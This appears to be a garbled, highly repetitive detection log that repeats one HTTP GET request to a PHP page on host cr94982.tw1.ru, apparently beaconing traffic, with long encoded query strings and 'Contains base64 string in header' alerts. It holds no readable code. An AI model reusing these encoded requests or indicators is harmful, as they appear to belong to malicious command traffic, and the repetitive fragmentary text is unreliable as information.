3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "Type" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "like" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "4664" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "Type" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=0VfiAjbJpnVtJGbOJTVjhHbjxmQYl1d4dkYoRmRYNmSXpFW4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJVHZzIWd01mYWpUaPl2ZHRGaCZkW5ljMZpHbHJVa3lWSp9maJ9mUYlVUxcVW5R2VaNnVHZVa3lWSp9maJpnQINmQxcVWsJ1MVl2dplUdkNjY1RXbiZlSp9UaRV1U5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWSYpleWZlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJlnW1Z0RURnRXpFMOxWSzlUaiNTOtJmc1clVp9maJ9mUYlVUxcVWsJ1MVl2dplUavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "like" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=0VfiAjbJpnVtJGbOJTVjhHbjxmQYl1d4dkYoRmRYNmSXpFW4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJVHZzIWd01mYWpUaPl2ZHRGaCZkW5ljMZpHbHJVa3lWSp9maJ9mUYlVUxcVW5R2VaNnVHZVa3lWSp9maJpnQINmQxcVWsJ1MVl2dplUdkNjY1RXbiZlSp9UaRV1U5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWSYpleWZlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJlnW1Z0RURnRXpFMOxWSzlUaiNTOtJmc1clVp9maJ9mUYlVUxcVWsJ1MVl2dplUavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "4664" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=0VfiAjbJpnVtJGbOJTVjhHbjxmQYl1d4dkYoRmRYNmSXpFW4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJVHZzIWd01mYWpUaPl2ZHRGaCZkW5ljMZpHbHJVa3lWSp9maJ9mUYlVUxcVW5R2VaNnVHZVa3lWSp9maJpnQINmQxcVWsJ1MVl2dplUdkNjY1RXbiZlSp9UaRV1U5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWSYpleWZlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJlnW1Z0RURnRXpFMOxWSzlUaiNTOtJmc1clVp9maJ9mUYlVUxcVWsJ1MVl2dplUavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "Type" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "like" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "4664" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: cr94982.tw1.ru" Contains base64 string in header "d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W" in header "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1Vi